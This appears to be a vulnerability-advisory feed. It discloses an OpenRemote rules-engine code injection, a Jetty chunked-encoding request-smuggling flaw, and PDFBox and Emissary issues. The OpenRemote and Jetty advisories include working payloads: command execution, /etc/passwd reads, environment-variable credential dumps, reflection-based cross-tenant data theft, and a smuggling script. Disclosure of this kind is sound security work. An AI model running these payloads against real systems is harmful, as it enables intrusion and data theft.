Path 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable) **`RulesetDeployment.java` L368:** ```java Object result = scriptEngine.eval(script, engineScope); ``` The Nashorn JavaScript engine is initialized **without** a `ClassFilter`, allowing `Java.type()` to access any JVM class — including `java.lang.Runtime` (for RCE), `java.io.FileReader` (for file read), and `java.lang.System` (for env theft). **`RulesResourceImpl.java` L309 (and L331, L359, L412, L437):** ```java // VULNERABLE: only restricts Groovy, JavaScript completely unrestricted if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) { throw new WebApplicationException(Response.Status.FORBIDDEN); } ``` Non-superuser attackers with only the `write:rules` role can submit arbitrary JavaScript rules that execute with full JVM access. ``` ┌─────────────────────────────────────────────────────────────────────────────────────────┐ │ SOURCE → SINK Complete Data Flow │ ├─────────────────────────────────────────────────────────────────────────────────────────┤ │ │ │ ① HTTP REQUEST (Source / Entry Point) │ │ POST /api/{realm}/rules/realm │ │ Content-Type: application/json │ │ Body: { "type":"realm", "lang":"JAVASCRIPT", │ │ "rules":"<MALICIOUS_SCRIPT>", ... } ← Attacker-controlled malicious script │ │ │ │ ↓ JAX-RS Deserialization │ │ │ │ ② RulesResource.createRealmRuleset() │ │ model/.../rules/RulesResource.java:153-158 │ │ @POST @Path("realm") @RolesAllowed("write:rules") │ │ Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset) │ │ JSON body → RealmRuleset object (Jackson deserialization) │ │ RealmRuleset.rules field ← attacker's malicious script content │ │ RealmRuleset.lang field ← "JAVASCRIPT" │ │ │ │ ↓ Calls implementation │ │ │ │ ③ RulesResourceImpl.createRealmRuleset() ← ⚠️ Authorization flaw here │ │ manager/.../rules/RulesResourceImpl.java:250-267 │ │ - L255: isRealmActiveAndAccessible(realm) — checks realm accessible ✓ │ │ - L255: isRestrictedUser() — restricted users blocked ✓ │ │ - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) │ │ → Only blocks GROOVY for non-superusers ✓ │ │ - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️ │ │ - L265: ruleset = rulesetStorageService.merge(ruleset) │ │ → Passes the RealmRuleset (with malicious script) to persistence layer │ │ │ │ ↓ JPA Persistence │ │ │ │ ④ RulesetStorageService.merge() │ │ manager/.../rules/RulesetStorageService.java:155-159 │ │ - L157: entityManager.merge(ruleset) │ │ → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│ │ - After JPA transaction commit, Hibernate event listener is triggered │ │ │ │ ↓ Hibernate Event → Camel Message │ │ │ │ ⑤ Hibernate Interceptor → PersistenceService Event Publishing │ │ container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119 │ │ - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state) │ │ → Hibernate Interceptor captures the JPA entity persist event │ │ - L102-119: afterTransactionBegin() registers Synchronization callback; │ │ afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114) │ │ container/.../persistence/PersistenceService.java:596-607 │ │ - PersistenceService implements Consumer<PersistenceEvent<?>> (L84) │ │ - L596-606: accept() publishes event to Camel SEDA topic: │ │ producerTemplate.withBody(persistenceEvent) │ │ .withHeader(HEADER_ENTITY_TYPE, entity.getClass()) │ │ .to(PERSISTENCE_TOPIC).asyncSend() │ │ - PERSISTENCE_TOPIC = "seda://PersistenceTopic?multipleConsumers=true&..." │ │ (PersistenceService.java:209-210) │ │ │ │ ↓ Camel Route Consumption │ │ │ │ ⑥ RulesService.configure() — Camel Route Processor │ │ manager/.../rules/RulesService.java:228-235 │ │ - L228: from(PERSISTENCE_TOPIC) │ │ - L230: .filter(isPersistenceEventForEntityType(Ruleset.class)) │ │ → Filters for Ruleset-type events only │ │ - L232-234: .process(exchange -> { │ │ PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class); │ │ processRulesetChange((Ruleset) pe.getEntity(), pe.getCause()); │ │ }) │ │ → Extracts RealmRuleset entity from event and dispatches to change handler │ │ │ │ ↓ │ │ │ │ ⑦ RulesService.processRulesetChange() │ │ manager/.../rules/RulesService.java:503-531 │ │ - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true │ │ → Enters the deployment branch (else block) │ │ - L518: ruleset instanceof RealmRuleset → takes realm branch │ │ - L520: RulesEngine<RealmRuleset> engine = │ │ deployRealmRuleset((RealmRuleset) ruleset) │ │ - L521: engine.start() │ │ │ │ ↓ │ │ │ │ ⑧ RulesService.deployRealmRuleset() │ │ manager/.../rules/RulesService.java:589-625 │ │ - L591: Gets existing engine from realmEngines Map or creates new one │ │ - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines │ │ - (via addRuleset): engine.addRuleset(ruleset) │ │ → Passes RealmRuleset to engine for deployment │ │ │ │ ↓ │ │ │ │ ⑨ RulesEngine.addRuleset() │ │ manager/.../rules/RulesEngine.java:252-273 │ │ - L264: deployment = new RulesetDeployment(ruleset, this, timerService, │ │ assetStorageService, executorService, scheduledExecutorService, │ │ assetsFacade, usersFacade, notificationFacade, webhooksFacade, │ │ alarmsFacade, historicFacade, predictedFacade) │ │ → Creates deployment object wrapping the Ruleset (with malicious script) │ │ - L265: deployment.init() │ │ → Triggers compilation and initialization │ │ │ │ ↓ │ │ │ │ ⑩ RulesetDeployment.init() │ │ manager/.../rules/RulesetDeployment.java:132-158 │ │ - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty │ │ - L149: ruleset.isEnabled() → true │ │ - L154: if (!compile()) → calls compile() │ │ │ │ ↓ │ │ │ │ ⑪ RulesetDeployment.compile() │ │ manager/.../rules/RulesetDeployment.java:211-228 │ │ - L217: switch (ruleset.getLang()) { │ │ - L218: case JAVASCRIPT: ← lang field is JAVASCRIPT │ │ - L219: return compileRulesJavascript(ruleset, assetsFacade, │ │ usersFacade, notificationsFacade, historicDatapointsFacade, │ │ predictedDatapointsFacade); │ │ │ │ ↓ │ │ │ │ ⑫ RulesetDeployment.compileRulesJavascript() ← SINK (Code Execution Point) │ │ manager/.../rules/RulesetDeployment.java:306-378 │ │ │ │ - L307: // TODO https://github.com/pfisterer/scripting-sandbox/... │ │ ↑ Sandbox was NEVER implemented (only a TODO comment) │ │ │ │ - L308: ScriptEngine scriptEngine = │ │ scriptEngineManager.getEngineByName("nashorn"); │ │ ↑ Uses Nashorn 15.7 (gradle.properties:59) │ │ ↑ Obtained via ScriptEngineManager — NO ClassFilter applied │ │ ↑ Attacker can access ANY Java class via Java.type() │ │ │ │ - L309-311: Creates ScriptContext and Bindings │ │ - L312-317: Binds internal service objects to engineScope: │ │ "LOG" → Logger, "assets" → Assets facade, │ │ "users" → Users facade, "notifications" → Notifications facade │ │ │ │ - L319: String script = ruleset.getRules(); │ │ ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑ │ │ ↑↑↑ This is the exact same value from the HTTP Body "rules" field ↑↑↑ │ │ ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑ │ │ │ │ - L322-365: Auto-prepends Java interop prefix: │ │ load("nashorn:mozilla_compat.js") → provides importPackage() │ │ importPackage("java.util.stream", ...) → auto-imports Java packages │ │ var Match = Java.type("...AssetQuery$Match") → pre-registers Java.type() │ │ ... (12 active Java.type references; 1 commented out) │ │ ↑ These prefixes further lower the attack barrier │ │ │ │ - L365: + script; │ │ ↑ Attacker script appended directly (string concatenation, no checks) │ │ │ │ - L368: scriptEngine.eval(script, engineScope); │ │ ↑↑↑ !!! FINAL SINK — The script string containing attacker's │ │ ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine │ │ ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke │ │ ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE) │ │ │ └─────────────────────────────────────────────────────────────────────────────────────────┘ ``` Path 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable) Same data flow as Path 1. Differences only in the first three steps: | Step | Difference | |------|-----------| | ① Source | `POST /api/{realm}/rules/asset`, body includes `"assetId":"xxx"` | | ② Entry | `RulesResource.createAssetRuleset()` — `RulesResource.java:200-206` | | ③ Auth Flaw | `RulesResourceImpl.createAssetRuleset()` — `RulesResourceImpl.java:341-365`: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks `GROOVY`, **`JAVASCRIPT` unrestricted**. L363 `rulesetStorageService.merge(ruleset)` | #### Sink Code Analysis Sink 1: `compileRulesJavascript()` — Lines 306-378 ```java // RulesetDeployment.java L306-378 protected boolean compileRulesJavascript(Ruleset ruleset, ...) { // L307: TODO indicates sandbox was NEVER implemented // L308: Gets Nashorn engine via ScriptEngineManager — NO ClassFilter ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn"); // L312-317: Binds internal service objects engineScope.put("LOG", LOG); engineScope.put("assets", assetsFacade); // L319: DIRECTLY reads attacker's script content String script = ruleset.getRules(); // L322-365: Prepends Java interop imports (lowers attack barrier) script = "load(\"nashorn:mozilla_compat.js\");\n" + ... + script; // L368: SINK — Executes the malicious script! scriptEngine.eval(script, engineScope); } ``` Why missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName("nashorn") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type(). Sink 2: `compileRulesGroovy()` — Lines 449-485 ```java // RulesetDeployment.java L449-485 protected boolean compileRulesGroovy(Ruleset ruleset, ...) { // L451-452: Sandbox code COMMENTED OUT // TODO Implement sandbox // new DenyAll().register(); ← COMMENTED OUT! // L453: Parses attacker's Groovy script Script script = groovyShell.parse(ruleset.getRules()); // L473: SINK — Directly executes Groovy script script.run(); } ``` Why SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op. ### Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only) ``` ┌─────────────────────────────────────────────────────────────────────────────────────────┐ │ SOURCE → SINK Complete Data Flow (Groovy) │ ├─────────────────────────────────────────────────────────────────────────────────────────┤ │ │ │ ① HTTP POST /api/{realm}/rules/realm │ │ Body: { "type":"realm", "lang":"GROOVY", │ │ "rules":"<MALICIOUS_GROOVY>", ... } │ │ Requires superuser privileges │ │ │ │ ② RulesResource.createRealmRuleset() — RulesResource.java:153-158 │ │ │ │ ③ RulesResourceImpl.createRealmRuleset() — RulesResourceImpl.java:250-267 │ │ - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓ │ │ - L265: rulesetStorageService.merge(ruleset) │ │ │ │ ④-⑩ Same as Path 1 steps ④-⑩ │ │ │ │ ⑪ RulesetDeployment.compile() — RulesetDeployment.java:211-228 │ │ - L220: case GROOVY → compileRulesGroovy(ruleset, ...) │ │ │ │ ⑫ RulesetDeployment.compileRulesGroovy() ← SINK │ │ manager/.../rules/RulesetDeployment.java:449-485 │ │ - L451: // TODO Implement sandbox ← Sandbox NEVER implemented │ │ - L452: // new DenyAll().register() ← Security filter COMMENTED OUT! │ │ - L453: Script script = groovyShell.parse(ruleset.getRules()) │ │ ↑ groovyShell uses SandboxTransformer (L79-81) │ │ ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective │ │ ↑ ruleset.getRules() directly reads attacker's malicious Groovy script │ │ - L454-462: Creates Binding, binds internal service objects │ │ - L472: script.setBinding(binding) │ │ - L473: script.run() │ │ ↑↑↑ FINAL SINK — Groovy script executed directly, no sandbox ↑↑↑ │ │ │ └─────────────────────────────────────────────────────────────────────────────────────────┘ ``` ### Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only) Same as Path 3; first three steps differ as in Path 2. ### PoC #### Test Environment | Component | Details | |-----------|---------| | Host OS | macOS Darwin 25.1.0 | | Docker | Docker Compose with official OpenRemote images | | OpenRemote | `openremote/manager:latest` (v1.20.2) | | Keycloak | `openremote/keycloak:latest` | | PostgreSQL | `openremote/postgresql:latest-slim` | | Target URL | `https://localhost` | #### Multi-Tenant Test Topology ``` ┌─────────────────────────────────────────────────────────┐ │ OpenRemote Platform │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Realm A │ │ Realm B │ │ │ │ (Attacker) │ │ (Victim) │ │ │ │ │ │ │ │ │ │ User: attacker │ ──X──│ SecretSensorB │ │ │ │ Roles: │ API │ secretData │ │ │ │ write:rules │blocked│ apiKey │ │ │ │ read:assets │ │ password │ │ │ │ NOT superuser │ │ │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ API isolation: Realm A user CANNOT access Realm B │ │ via normal REST API (HTTP 401) │ │ │ │ Exploit: Realm A user creates JavaScript rule that │ │ executes arbitrary code on the SERVER, bypassing all │ │ tenant isolation │ └─────────────────────────────────────────────────────────┘ ``` #### Deployment OpenRemote was started using the project's official `docker-compose.yml`: ``` cd /path/to/openremote-openremote docker compose up -d ``` Containers running: <img width="1430" height="136" alt="截屏2026-03-27 14 50 10" src="https://github.com/user-attachments/assets/8291181b-56a3-4fc6-a7d3-77ab276b6d6c" /> #### Reproduction Steps & Evidence ##### Step 0: Obtain Admin Tokens ``` KC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC... [OK] Direct access grants for 'master': HTTP 204 OR admin token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC... API health check: HTTP 200, version=1.20.2 ``` ##### Step 1: Setup Multi-Tenant Environment Created Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser. ``` Create realm 'realmb': HTTP 409 (already exists from prior run — OK) [OK] Direct access grants for 'realmb': HTTP 204 Create victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq Planted sensitive data in Realm B: secretData = 'REALM_B_CONFIDENTIAL_DATA_67890' apiKey = 'sk-realmB-api-key-very-secret' internalPassword = 'P@ssw0rd_Internal_2024' Create realm 'realma': HTTP 409 [OK] Direct access grants for 'realma': HTTP 204 [OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5 [OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules'] ``` Key point: The attacker user has write:rules role but is NOT a superuser. ##### Step 2: Verify Tenant Isolation Works via Normal API ``` Attacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC... [TEST] Normal API: GET /api/realmb/asset (attacker token) Result: HTTP 401 >> Cross-realm API access BLOCKED (expected) — tenant isolation works via API ``` Conclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution. ##### Step 3: Launch the attack. - ATTACK 1 — Remote Code Execution (RCE) Payload sent (via POST /api/realma/rules/realm with attacker token): ``` var Runtime = Java.type("java.lang.Runtime"); var Scanner = Java.type("java.util.Scanner"); var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]"); var proc = Runtime.getRuntime().exec(cmd); proc.waitFor(); var s = new Scanner(proc.getInputStream()).useDelimiter("\\A"); var output = s.hasNext() ? s.next() : "(empty)"; LOG.info("[EXPLOIT-RCE] Command output: " + output); var rules = []; ``` API response: HTTP 200 (rule accepted and deployed) Server log evidence (captured from docker compose logs manager): ``` 2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION === 2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT --- 2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root) ``` Impact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges. - ATTACK 2 — Arbitrary File Read (/etc/passwd) Payload: ``` var Files = Java.type("java.nio.file.Files"); var Paths = Java.type("java.nio.file.Paths"); var lines = Files.readAllLines(Paths.get("/etc/passwd")); LOG.info("[EXPLOIT-FILE] /etc/passwd has " + lines.size() + " lines:"); for (var i = 0; i < lines.size(); i++) { LOG.info("[EXPLOIT-FILE] " + lines.get(i)); } var rules = []; ``` API response: HTTP 200 Server log evidence: - ATTACK 3 — Environment Variable Theft (Database Credentials) **Payload:** ```javascript var System = Java.type("java.lang.System"); var env = System.getenv(); LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ==="); var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD", "KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"]; for (var i = 0; i < keys.length; i++) { var v = env.get(keys[i]); if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v); } var rules = []; ``` **API response**: `HTTP 200` **Server log evidence** (key variables extracted): ``` 2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql 2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432 2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote 2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres 2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost 2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre 2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak 2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080 2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage 2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0 2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20 2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false 2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json 2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587 ``` **Impact**: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services. --- - ATTACK 4 — Cross-Realm Data Theft (Bypass Multi-Tenant Isolation) This is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the `AssetsFacade` realm enforcement via Java reflection. **Attack mechanism:** 1. The `assets` object bound into JavaScript is an `AssetsFacade` instance 2. `AssetsFacade.getResults()` enforces realm isolation by overwriting `assetQuery.realm` 3. The attacker uses Java reflection to extract the internal `assetStorageService` field 4. Calls `assetStorageService.findAll()` directly, bypassing realm restriction AND `excludeAttributes()` **Payload:** ```javascript // Extract internal AssetStorageService via reflection var facadeObj = assets; var clazz = facadeObj.getClass(); var storageField = clazz.getDeclaredField("assetStorageService"); storageField.setAccessible(true); var storageService = storageField.get(facadeObj); // Query Realm B directly — bypassing facade realm enforcement var AssetQuery = Java.type("org.openremote.model.query.AssetQuery"); var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate"); var q = new AssetQuery(); q.realm = new RealmPredicate("realmb"); var stolenAssets = storageService.findAll(q); // Iterate and dump all attribute values... var rules = []; ``` **API response**: `HTTP 200` **Server log evidence — Stolen data from Realm B:** ``` 2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT === 2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma 2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm: realmb 2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade 2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService 2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb' 2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset 2026-03-27T07:17:55.228Z [EXPLOIT-XREALM] STOLEN ATTR: notes = Internal sensor - classified 2026-03-27T07:17:55.229Z [EXPLOIT-XREALM] STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret 2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN} 2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024 2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890 ``` **Cross-realm enumeration — all assets across all realms:** ``` 2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5 2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN... 2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL... 2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI... 2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI... 2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc... ``` **Impact**: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully: - Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data) - Enumerated all assets across ALL realms including the `master` realm - Bypassed both the realm restriction AND the `excludeAttributes()` protection in `AssetsFacade` --- - Authorization Bypass Verification The same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers): ``` Create Groovy rule (same attacker): HTTP 403 >> Groovy rule REJECTED (HTTP 403) — as expected for non-superuser >> BUT all JavaScript rules were ACCEPTED (HTTP 200) — THIS IS THE VULNERABILITY! ``` **Root cause in source code** (`RulesResourceImpl.java:262`): ```java // Only blocks Groovy for non-superusers — JavaScript is UNRESTRICTED if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) { throw new ForbiddenException("Forbidden"); } // No check for Lang.JAVASCRIPT! ``` ### Impact Remote code execution.

الإصدارات المتأثرة

<= 1.21.0

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

7.4/10 عالية
📦 org.eclipse.jetty:jetty-http, org.eclipse.jetty:jetty-http, org.eclipse.jetty:jetty-http, org.eclipse.jetty:jetty-http, org.eclipse.jetty:jetty-http 📌 >= 12.1.0, <= 12.1.6, >= 12.0.0, <= 12.0.32, >= 11.0.0, <= 11.0.27, >= 10.0.0, <= 10.0.27, >= 9.4.0, <= 9.4.59 🛡️ أداة أمنية 📦 مكتبة Java maven ⚡ CWE-444 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 xclow3n
💬 ### Description (as reported) Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ### Background This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smu...
📅 2026-04-14 NVD 🔗 التفاصيل

الوصف الكامل

### Description (as reported) Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ### Background This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values. ### Technical Details **RFC 9112 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes. ### Vulnerability Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error. **Expected (RFC compliant):** ``` Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n] ``` **Actual (jetty):** ``` Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request ``` ### Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** Server returns 2 HTTP responses from a single TCP connection. #### Parsing Breakdown | Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) | ### Impact - **Request Smuggling**: Attacker injects arbitrary HTTP requests - **Cache Poisoning**: Smuggled responses poison shared caches - **Access Control Bypass**: Smuggled requests bypass frontend security - **Session Hijacking**: Smuggled requests can steal other users' responses ### Reproduction 1. Start the minimal POC with docker 2. Run the poc script provided in same zip ### Suggested Fix Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator. ### Patches No patches yet. ### Workarounds No workarounds yet.

الإصدارات المتأثرة

>= 12.1.0, <= 12.1.6, >= 12.0.0, <= 12.0.32, >= 11.0.0, <= 11.0.27, >= 10.0.0, <= 10.0.27, >= 9.4.0, <= 9.4.59

نوع الثغرة

CWE-444 — CWE-444

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

4.3/10 متوسطة
📦 org.apache.pdfbox:pdfbox-examples, org.apache.pdfbox:pdfbox-examples 🏢 apache 📌 >= 2.0.24, <= 2.0.36, >= 3.0.0, <= 3.0.7 🗄️ سيرفر 📦 مكتبة Java maven ⚡ Path Traversal 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples. This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7. Users are recommended to update ...
📅 2026-04-14 NVD 🔗 التفاصيل

الوصف الكامل

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples. This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7. Users are recommended to update to version 2.0.37 or 3.0.8 once available. Until then, they should apply the fix provided in GitHub PR 427. The ExtractEmbeddedFiles example contained a path traversal vulnerability (CWE-22) mentioned in CVE-2026-23907. However the change in the releases 2.0.36 and 3.0.7 is flawed because it doesn't consider the file path separator. Because of that, a user having writing rights on /home/ABC could be victim to a malicious PDF resulting in a write attempt to any path starting with /home/ABC, e.g. "/home/ABCDEF". Users who have copied this example into their production code should apply the mentioned change. The example has been changed accordingly and is available in the project repository.

الإصدارات المتأثرة

>= 2.0.24, <= 2.0.36, >= 3.0.0, <= 3.0.7

نوع الثغرة

CWE-22 — Path Traversal

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

8.8/10 عالية
📦 gov.nsa.emissary:emissary 🏢 nsa 📌 <= 8.42.0 ⛓️‍💥 هجوم سلسلة التوريد ⚙️ لغة Go maven ⚡ OS Command Injection 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع 🔍 blueandhack
💬 ### Summary `Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets eithe...
📅 2026-04-13 GitHub 🔗 التفاصيل

الوصف الكامل

### Summary `Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed. This is a **framework-level defect** — `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed. --- ### Root Cause #### Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation **[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)** ```java public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) { base = Long.toString(System.nanoTime()); tempDir = FileManipulator.mkTempFile(tmpDir, placeName); in = base + inFileEnding; // no sanitization out = base + outFileEnding; // no sanitization basePath = tempDir + File.separator + base; inputFilename = basePath + inFileEnding; // injected value lands here outputFilename = basePath + outFileEnding; // and here } ``` 